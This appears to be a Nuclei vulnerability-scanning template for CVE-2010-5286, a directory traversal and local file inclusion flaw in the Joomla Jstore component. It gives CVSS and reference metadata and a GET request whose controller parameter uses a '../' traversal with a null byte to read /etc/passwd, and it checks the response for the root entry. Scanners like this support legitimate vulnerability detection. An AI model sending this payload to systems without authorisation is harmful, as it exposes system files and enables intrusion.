id: CVE-2010-5286

info:
  name: Joomla! Component Jstore - 'Controller' Local File Inclusion
  author: daffainfo
  severity: critical
  description: A directory traversal vulnerability in Jstore (com_jstore) component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Arbitrary file inclusion leading to remote code execution
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34837
    - https://nvd.nist.gov/vuln/detail/CVE-2010-5286
    - http://packetstormsecurity.org/1010-exploits/joomlajstore-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
    cvss-score: 10
    cve-id: CVE-2010-5286
    cwe-id: CWE-22
    epss-score: 0.11382
    epss-percentile: 0.95553
    cpe: cpe:2.3:a:joobi:com_jstore:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joobi
    product: com_jstore
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,joobi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022042f72e464397b6d5ae8da5b9dbde8b2a30ee946a622dd031d0a7a14419b96366022100bd7405833c339c53c001c3f59ac14a1bc12f52619856903c78f29b4f530ead11:922c64590222798bb761d5b6d8e72950